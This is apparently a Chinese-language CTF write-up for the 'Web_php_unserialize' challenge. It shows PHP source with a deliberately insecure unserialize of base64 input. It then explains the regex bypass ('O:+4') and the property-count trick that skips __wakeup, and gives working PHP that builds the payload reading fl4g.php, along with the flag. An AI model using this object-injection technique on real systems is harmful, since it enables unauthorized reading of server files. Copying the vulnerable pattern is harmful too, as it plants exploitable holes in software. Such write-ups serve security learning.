Web_php_unserialize

进去后看到如下源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

可以敏感的看到题中的两个关键点:

  • wakeup函数

  • 正则表达式/[oc]:\d+:/i

关于上述正则表达式:

i 忽略大小写
+ 重复一次或多次
/ 分隔符
\d 任意一个十进制数

关于什么是正则表达式:Zery详解,写的是真的好

题中的正则表达式呢,可以理解为,匹配oc(不分大小写)后面的的数字一位或者多位,所以要通过str_replace()将4改为+4绕过正则匹配

至于wakeup函数,绕过很简单,只需要将对象属性的个数的值不为个数的真实值,通过str_replace()将1改为2,即可绕过,此处不再详讲,可以参考unserialize3有详细讲解

可以利用在线运行代码工具运行php:在线运行,不要太快速的点击运行,可能触发它的保护机制,误以为你在恶意点击,会屏蔽你

注意到前面源码里对get到的var参数做了base64解密处理,那么我需要将序列化的字符串base64加密一下,代码如下,小伙子有时间还是学学php吧:

<?php
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    $Demo = new Demo('fl4g.php');
    $data = serialize($Demo);

    $data = str_replace('O:4', 'O:+4', $data);
    $data = str_replace(':1:', ':2:', $data);

    echo (base64_encode($data));
?>

flag为:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

posted @ 2020-11-05 14:38  nihinumbra  阅读(114)  评论(0编辑  收藏  举报